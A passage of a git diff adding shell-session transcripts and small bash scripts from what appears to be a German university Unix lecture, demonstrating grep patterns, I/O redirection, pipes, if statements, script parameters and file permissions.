+unix-20210423.tex:        printf ("Hello, world!\n");
+unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+cassini/home/peter/bo/2021ss/bs/20210423> grep "H[ae]llo" *
+grep: test: Ist ein Verzeichnis
+test-1.c:  printf ("Hello, world!\n");
+test-2.c:  printf ("Hello, world!\n");
+unix-20210423.tex:        printf ("Hello, world!\n");
+unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+cassini/home/peter/bo/2021ss/bs/20210423> grep "[Hh][a-z]llo" *
+grep: test: Ist ein Verzeichnis
+test-1.c:  printf ("Hello, world!\n");
+test-2.c:  printf ("Hello, world!\n");
+unix-20210423.tex:        printf ("Hello, world!\n");
+unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+unix-20210423.tex:      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
+unix-20210423.tex:      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
+unix-20210423.tex:      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-2.txt b/20210423/grep-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..2a80ca2380598ac462abf0d8da3b4271d51b50b8
--- /dev/null
+++ b/20210423/grep-2.txt
@@ -0,0 +1,26 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep -i "H[ae]llo" *
+grep-1.txt:cassini/home/peter/bo/2021ss/bs/20210423> grep Hello *
+grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+grep-1.txt:unix-20210423.tex:      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
+grep-1.txt:unix-20210423.tex:      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
+grep-1.txt:unix-20210423.tex:      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
+grep: test: Ist ein Verzeichnis
+test-1.c:  printf ("Hello, world!\n");
+test-2.c:  printf ("Hello, world!\n");
+unix-20210423.tex:        printf ("Hello, world!\n");
+unix-20210423.tex:      Text schreiben: \lstinline[style=cmd]{echo "Hello, world!"}
+unix-20210423.tex:      Programm im aktuellen Verzeichnis aufrufen: \lstinline[style=cmd]{./hello}
+unix-20210423.tex:      Datei ausgeben: \lstinline[style=cmd]{cat hello.c}
+unix-20210423.tex:      Datei anzeigen: \lstinline[style=cmd]{less hello.c}
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-3.txt b/20210423/grep-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..f88ade45ccb68507fb5df7a99948d6908149670b
--- /dev/null
+++ b/20210423/grep-3.txt
@@ -0,0 +1,36 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep printf *
+grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:test-1.c:  printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:test-2.c:  printf ("Hello, world!\n");
+grep-2.txt:grep-1.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep-2.txt:test-1.c:  printf ("Hello, world!\n");
+grep-2.txt:test-2.c:  printf ("Hello, world!\n");
+grep-2.txt:unix-20210423.tex:        printf ("Hello, world!\n");
+grep: test: Ist ein Verzeichnis
+test-1.c:  printf ("Hello, world!\n");
+test-2.c:  printf ("Hello, world!\n");
+unix-20210423.tex:        printf ("Hello, world!\n");
+unix-20210423.tex:    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
+unix-20210423.tex:    philosophy.c:  printf ("The answer is %d.\n", answer ());
+cassini/home/peter/bo/2021ss/bs/20210423> grep "^printf" *
+grep: test: Ist ein Verzeichnis
+cassini/home/peter/bo/2021ss/bs/20210423> grep -R "^printf" *
+cassini/home/peter/bo/2021ss/bs/20210423> grep -R "^ *printf" *
+test-1.c:  printf ("Hello, world!\n");
+test-2.c:  printf ("Hello, world!\n");
+unix-20210423.tex:        printf ("Hello, world!\n");
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-4.txt b/20210423/grep-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..daf3938a688b451f09472da0c47bd349ca191d21
--- /dev/null
+++ b/20210423/grep-4.txt
@@ -0,0 +1,95 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep 2013 unix-20210423.tex
+% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021  Peter Gerwinski
+    ./2013ss/net/script/slides/net-probeklausur-20120712.tex
+    ./2013ss/net/20130924.0/net-klausur-20130924.tex
+    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
+    2011ws  2012ws  2013ws  doc       misc  projekte
+    2012ss  2013ss  briefe  material  orga
+    cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿
+    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
+      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
+      ls -l systech-20131008.*
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
+      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
+    ./20131031.0/orbit-x.c
+    ./20131031.0/orbit-x1.c
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x.c
+    ./20131107.0/orbit-x1.c
+    ./20131107.0/orbit-x
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
+    rtech-20131002.pdf
+    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423>
+cassini/home/peter/bo/2021ss/bs/20210423> grep 2013 unix-20210423.tex
+% Copyright (C) 2013, 2015, 2016, 2017, 2018, 2021  Peter Gerwinski
+    ./2013ss/net/script/slides/net-probeklausur-20120712.tex
+    ./2013ss/net/20130924.0/net-klausur-20130924.tex
+    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
+    2011ws  2012ws  2013ws  doc       misc  projekte
+    2012ss  2013ss  briefe  material  orga
+    cassini/home/peter/bo/2013ss/net/script> ¡cd /usr/bin¿
+    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
+      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
+      ls -l systech-20131008.*
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
+      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
+    ./20131031.0/orbit-x.c
+    ./20131031.0/orbit-x1.c
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x.c
+    ./20131107.0/orbit-x1.c
+    ./20131107.0/orbit-x
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
+    rtech-20131002.pdf
+    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> grep "2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
+    ./2013ss/net/20130924.0/net-klausur-20130924.tex
+    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
+    cassini/.../ainf/20131031.0> ¡grep printf *.c¿
+      phoenix/home/peter/bo/2013ws/ainf/20131031.0> ¡ls -l¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡cat test¿
+      ls -l systech-20131008.*
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡chmod +x test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡ls -l test¿
+      cassini/home/peter/bo/2013ws/systech/20131008.0> ¡./test¿
+      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
+    ./20131031.0/orbit-x.c
+    ./20131031.0/orbit-x1.c
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x.c
+    ./20131107.0/orbit-x1.c
+    ./20131107.0/orbit-x
+    ./20131031.0/orbit-x
+    ./20131107.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131031.0/orbit-x
+    -rwxr-xr-x 1 peter peter 15831 Okt 31 13:19 ./20131107.0/orbit-x
+    rtech-20131002.pdf
+    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> grep "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
+    ./2013ss/net/20130924.0/net-klausur-20130924.tex
+    ./2012ss/hs/20130318.0/hs-klausur-20130318.tex
+      ls -l systech-20131008.*
+      -rw-r--r-- 1 peter peter 4120 Okt 6 16:44 systech-20131008.aux
+    rtech-20131002.pdf
+    -rw-r--r-- 1 peter peter 6753149 Okt  1 22:59 rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
+net-klausur-20130924.tex
+hs-klausur-20130318.tex
+systech-20131008.
+systech-20131008.aux
+rtech-20131002.pdf
+rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/grep-5.txt b/20210423/grep-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..8b3c701f797a93de86e7e389148d1dfffe545a5b
--- /dev/null
+++ b/20210423/grep-5.txt
@@ -0,0 +1,26 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]*" unix-20210423.tex
+net-klausur-20130924.tex
+hs-klausur-20130318.tex
+systech-20131008.
+systech-20131008.aux
+rtech-20131002.pdf
+rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z][a-z]*" unix-20210423.tex
+net-klausur-20130924.tex
+hs-klausur-20130318.tex
+systech-20131008.aux
+rtech-20131002.pdf
+rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> grep -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]\+" unix-20210423.tex
+net-klausur-20130924.tex
+hs-klausur-20130318.tex
+systech-20131008.aux
+rtech-20131002.pdf
+rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423> grep -E -o "[a-z-]*-2013[01][0-9][0-3][0-9].[a-z]+" unix-20210423.tex
+net-klausur-20130924.tex
+hs-klausur-20130318.tex
+systech-20131008.aux
+rtech-20131002.pdf
+rtech-20131002.pdf
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/hello-error.txt b/20210423/hello-error.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7a3e3a6323b5d989be3bbbe96f45e6d4fc8e47fe
--- /dev/null
+++ b/20210423/hello-error.txt
@@ -0,0 +1 @@
+grep: test: Ist ein Verzeichnis
diff --git a/20210423/hello-files-and-error.txt b/20210423/hello-files-and-error.txt
new file mode 100644
index 0000000000000000000000000000000000000000..b0b29831cd4b26cd684768828693d85ba98be314
--- /dev/null
+++ b/20210423/hello-files-and-error.txt
@@ -0,0 +1,9 @@
+grep-1.txt
+grep-2.txt
+grep-3.txt
+iostreams-3.txt
+iostreams-4.txt
+grep: test: Ist ein Verzeichnis
+test-1.c
+test-2.c
+unix-20210423.tex
diff --git a/20210423/hello-files.txt b/20210423/hello-files.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3dd40b28f78abd44ab7b51bdaebb797cb9600b5d
--- /dev/null
+++ b/20210423/hello-files.txt
@@ -0,0 +1,6 @@
+grep-1.txt
+grep-2.txt
+grep-3.txt
+test-1.c
+test-2.c
+unix-20210423.tex
diff --git a/20210423/if-1.txt b/20210423/if-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..3e8cf4e13e86960215f0b93c0cea0faa0390741c
--- /dev/null
+++ b/20210423/if-1.txt
@@ -0,0 +1,4 @@
+cassini/home/peter/bo/2021ss/bs/20210423> file_template=$(ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null | tail -1)
+cassini/home/peter/bo/2021ss/bs/20210423> echo $file_template
+params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/if-2.txt b/20210423/if-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..635b5dfa33342183953e2083727af58ce5423eb4
--- /dev/null
+++ b/20210423/if-2.txt
@@ -0,0 +1,17 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Bonjour le monde !\n");
+  return 1;
+}
+cassini/home/peter/bo/2021ss/bs/20210423> gcc -Wall -O test-5.c -o test-5
+cassini/home/peter/bo/2021ss/bs/20210423> ./test-5
+Bonjour le monde !
+cassini/home/peter/bo/2021ss/bs/20210423> if ./test-5; then echo "Merci."; else echo "C'est dommage."; fi
+Bonjour le monde !
+C'est dommage.
+cassini/home/peter/bo/2021ss/bs/20210423> if ./test-4; then echo "Merci."; else echo "C'est dommage."; fi
+Bonjour le monde !
+Merci.
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/if-3.txt b/20210423/if-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ee2a3d913c0b3dea7e62ab80d8ea91ff9f22ef91
--- /dev/null
+++ b/20210423/if-3.txt
@@ -0,0 +1,16 @@
+#include <stdio.h>
+
+int main (void)
+{
+  printf ("Bonjour le monde !\n")
+  return 1
+}
+cassini/home/peter/bo/2021ss/bs/20210423> gcc -Wall -O test-6.c -o test-6 && ./test-6
+test-6.c: In function ‘main’:
+test-6.c:5:34: error: expected ‘;’ before ‘return’
+   printf ("Bonjour le monde !\n")
+                                  ^
+                                  ;
+   return 1
+   ~~~~~~
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/if-4.txt b/20210423/if-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..a458917ec947aa22e0a63ec11117506e7872cd04
--- /dev/null
+++ b/20210423/if-4.txt
@@ -0,0 +1,9 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo $USER
+peter
+cassini/home/peter/bo/2021ss/bs/20210423> if [ "$USER" = "peter" ]; then echo "Hallo, Peter!"; else echo "Hallo, wer auch immer!"; fi
+Hallo, Peter!
+cassini/home/peter/bo/2021ss/bs/20210423> echo $DISPLAY
+:5
+cassini/home/peter/bo/2021ss/bs/20210423> if [ -n "$DISPLAY" ]; then xeyes; else echo "Keine Grafik!"; fi
+Beendet
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/input-1.txt b/20210423/input-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..87d825ae4e2adf20e628e84b07e7142fac249ae8
--- /dev/null
+++ b/20210423/input-1.txt
@@ -0,0 +1,13 @@
+cassini/home/peter/bo/2021ss/bs/20210423> del *wichtig*
+unwichtig-1.txt  unwichtig-3.txt  unwichtig-5.txt  unwichtig-7.txt
+unwichtig-2.txt  unwichtig-4.txt  unwichtig-6.txt
+Press ENTER to delete, ^C to abort.
+cassini/home/peter/bo/2021ss/bs/20210423> which del
+/home/peter/usr/bin/del
+cassini/home/peter/bo/2021ss/bs/20210423> cat $(which del)
+#!/bin/sh
+ls "$@"
+echo -n "Press ENTER to delete, ^C to abort."
+read junk
+rm "$@"
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/input-2.txt b/20210423/input-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..5efddfaa5b27bc90bc5abc5c47a4d2dc0739366c
--- /dev/null
+++ b/20210423/input-2.txt
@@ -0,0 +1,5 @@
+cassini/home/peter/bo/2021ss/bs/20210423> read name
+Peter
+cassini/home/peter/bo/2021ss/bs/20210423> echo "Hallo, $name!"
+Hallo, Peter!
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-1.txt b/20210423/iostreams-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..817f3fdaa6508d437ad2a90bace2475009d1c08b
--- /dev/null
+++ b/20210423/iostreams-1.txt
@@ -0,0 +1,4 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "Dies ist ein Test." > test.txt
+cassini/home/peter/bo/2021ss/bs/20210423> cat test.txt
+Dies ist ein Test.
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-2.txt b/20210423/iostreams-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7257290e423d184a5a70fa4eea36b070c49e986a
--- /dev/null
+++ b/20210423/iostreams-2.txt
@@ -0,0 +1,5 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "Dies auch." >> test.txt
+cassini/home/peter/bo/2021ss/bs/20210423> cat test.txt
+Dies ist ein Test.
+Dies auch.
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-3.txt b/20210423/iostreams-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..9d143b406ba97ec0878c30ff2fc40a0619ea7383
--- /dev/null
+++ b/20210423/iostreams-3.txt
@@ -0,0 +1,18 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello *
+grep-1.txt
+grep-2.txt
+grep-3.txt
+grep: test: Ist ein Verzeichnis
+test-1.c
+test-2.c
+unix-20210423.tex
+cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * > hello-files.txt
+grep: test: Ist ein Verzeichnis
+cassini/home/peter/bo/2021ss/bs/20210423> cat hello-files.txt
+grep-1.txt
+grep-2.txt
+grep-3.txt
+test-1.c
+test-2.c
+unix-20210423.tex
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-4.txt b/20210423/iostreams-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e4c57d3fdc6d5a09317b409627de2380bbc6c360
--- /dev/null
+++ b/20210423/iostreams-4.txt
@@ -0,0 +1,20 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello *
+grep-1.txt
+grep-2.txt
+grep-3.txt
+iostreams-3.txt
+grep: test: Ist ein Verzeichnis
+test-1.c
+test-2.c
+unix-20210423.tex
+cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * 2> hello-error.txt
+grep-1.txt
+grep-2.txt
+grep-3.txt
+iostreams-3.txt
+test-1.c
+test-2.c
+unix-20210423.tex
+cassini/home/peter/bo/2021ss/bs/20210423> cat hello-error.txt
+grep: test: Ist ein Verzeichnis
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-5.txt b/20210423/iostreams-5.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e8b40291644f11d7407fdc3ca0114a778f36c070
--- /dev/null
+++ b/20210423/iostreams-5.txt
@@ -0,0 +1,12 @@
+cassini/home/peter/bo/2021ss/bs/20210423> grep -l Hello * > hello-files-and-error.txt 2>&1
+cassini/home/peter/bo/2021ss/bs/20210423> cat hello-files-and-error.txt
+grep-1.txt
+grep-2.txt
+grep-3.txt
+iostreams-3.txt
+iostreams-4.txt
+grep: test: Ist ein Verzeichnis
+test-1.c
+test-2.c
+unix-20210423.tex
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-6.txt b/20210423/iostreams-6.txt
new file mode 100644
index 0000000000000000000000000000000000000000..08385ba4fcc8591c2133355f67cbd70e5a2ae94d
--- /dev/null
+++ b/20210423/iostreams-6.txt
@@ -0,0 +1,3 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo 'Fehler!!!' 1>&2
+Fehler!!!
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-7.txt b/20210423/iostreams-7.txt
new file mode 100644
index 0000000000000000000000000000000000000000..ca5f11b88d5f942f3099343d5cd275c3f8543720
--- /dev/null
+++ b/20210423/iostreams-7.txt
@@ -0,0 +1,4 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" > "test.bc"
+cassini/home/peter/bo/2021ss/bs/20210423> bc < test.bc
+4
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-8.txt b/20210423/iostreams-8.txt
new file mode 100644
index 0000000000000000000000000000000000000000..e21ca489f3d9c6a2fa8b1fad86b27bd046ddbcdb
--- /dev/null
+++ b/20210423/iostreams-8.txt
@@ -0,0 +1,3 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | bc
+4
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/iostreams-9.txt b/20210423/iostreams-9.txt
new file mode 100644
index 0000000000000000000000000000000000000000..332ab2c296dd28a2aac6985bddeb6dfc56242bbf
--- /dev/null
+++ b/20210423/iostreams-9.txt
@@ -0,0 +1,10 @@
+cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff              ls: Zugriff auf '*.cpp' nicht möglich: Datei oder Verzeichnis nicht gefunden
+ls: Zugriff auf '*.py' nicht möglich: Datei oder Verzeichnis nicht gefunden
+ls: Zugriff auf '*.diff' nicht möglich: Datei oder Verzeichnis nicht gefunden
+ unix-20210423.tex   test-1.c   test-4.c      params-2.sh
+ test-2.c            test-3.c   params-1.sh   params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ls -rt *.c *.cpp *.sh *.py *.tex *.diff 2>/dev/null   unix-20210423.tex   test-1.c   test-4.c      params-2.sh
+ test-2.c            test-3.c   params-1.sh   params-3.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ls -l /dev/null
+crw-rw-rw- 1 root root 1, 3 Apr  6 09:59 /dev/null
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/params-1.sh b/20210423/params-1.sh
new file mode 100755
index 0000000000000000000000000000000000000000..89423aeae1bb6246e6d0c5acd58991227648b97b
--- /dev/null
+++ b/20210423/params-1.sh
@@ -0,0 +1,3 @@
+#!/bin/bash
+
+echo $1
diff --git a/20210423/params-1.txt b/20210423/params-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..99bfcff2538974d2105920485a213c4c663a2a3c
--- /dev/null
+++ b/20210423/params-1.txt
@@ -0,0 +1,17 @@
+#!/bin/bash
+
+echo $1
+cassini/home/peter/bo/2021ss/bs/20210423> chmod 111 params-1.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh
+/bin/bash: ./params-1.sh: Keine Berechtigung
+cassini/home/peter/bo/2021ss/bs/20210423> chmod 555 params-1.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh
+
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Foo
+Foo
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Foo Bar Baz
+Foo
+cassini/home/peter/bo/2021ss/bs/20210423> chmod 755 params-1.sh
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-1.sh Pruzzel Proe
+Pruzzel
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/params-2.sh b/20210423/params-2.sh
new file mode 100755
index 0000000000000000000000000000000000000000..7102914424002091e56660128cb4bfe1410e9117
--- /dev/null
+++ b/20210423/params-2.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+
+shift
+echo $1
diff --git a/20210423/params-2.txt b/20210423/params-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..c6d85aaf63a686ea9737a9d54ee8e63cfc7f3095
--- /dev/null
+++ b/20210423/params-2.txt
@@ -0,0 +1,9 @@
+#!/bin/bash
+
+shift 2
+echo $1
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-2.sh Foo Bar Baz
+Bar
+cassini/home/peter/bo/2021ss/bs/20210423> ./params-2.sh Foo Bar Baz Pruzzel Proe
+Bar
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/params-3.sh b/20210423/params-3.sh
new file mode 100755
index 0000000000000000000000000000000000000000..a21f4a7afd3fa8d2c4b63e57f46cdd3433697322
--- /dev/null
+++ b/20210423/params-3.sh
@@ -0,0 +1,4 @@
+#!/bin/bash
+
+shift 2
+echo $1
diff --git a/20210423/permissions-1.txt b/20210423/permissions-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..7753ba766a0746572d1bbc91782f6e6868c8120a
--- /dev/null
+++ b/20210423/permissions-1.txt
@@ -0,0 +1,8 @@
+cassini/home/peter/bo/2021ss/bs/20210423> cd test
+cassini/home/peter/bo/2021ss/bs/20210423/test> cd ..
+cassini/home/peter/bo/2021ss/bs/20210423> chmod -x test
+cassini/home/peter/bo/2021ss/bs/20210423> cd test
+bash: cd: test: Keine Berechtigung
+cassini/home/peter/bo/2021ss/bs/20210423> chmod +x test
+cassini/home/peter/bo/2021ss/bs/20210423> cd test
+cassini/home/peter/bo/2021ss/bs/20210423/test>
diff --git a/20210423/pipes-1.txt b/20210423/pipes-1.txt
new file mode 100644
index 0000000000000000000000000000000000000000..52e61e32cdf3dbe16dcc2dc289d61bcb519472e6
--- /dev/null
+++ b/20210423/pipes-1.txt
@@ -0,0 +1,5 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | bc
+8
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | bc
+8
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/pipes-2.txt b/20210423/pipes-2.txt
new file mode 100644
index 0000000000000000000000000000000000000000..1297679515178283114f974cc27601bd871b2646
--- /dev/null
+++ b/20210423/pipes-2.txt
@@ -0,0 +1,6 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/' | bc                  6
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/'
+4 + 2
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g'
+4 + 4
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/pipes-3.txt b/20210423/pipes-3.txt
new file mode 100644
index 0000000000000000000000000000000000000000..0b875199efc3fd84a2990dd328c837653ee304f7
--- /dev/null
+++ b/20210423/pipes-3.txt
@@ -0,0 +1,12 @@
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g'
+4 + 4
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip
+gzip: compressed data not written to a terminal. Use -f to force compression.
+For help, type: gzip -h
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip
+4 + 4
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip | bc
+8
+cassini/home/peter/bo/2021ss/bs/20210423> echo "2 + 2" | sed -e 's/2/4/g' | gzip | gunzip | sed -e 's/4/3/g' | bc
+6
+cassini/home/peter/bo/2021ss/bs/20210423>
diff --git a/20210423/pipes-4.txt b/20210423/pipes-4.txt
new file mode 100644
index 0000000000000000000000000000000000000000..575936dd9c4052de1f7c356eacb0bd400465b8c7
--- /dev/null
+++ b/20210423/pipes-4.txt
@@ -0,0 +1,6 @@
+ 2142  find ~/bo/ -type f -name "*klausur*.pdf"
+ 2143  find ~/bo/ -type f -name "*klausur*.pdf" | grep "-fig[0-9]"
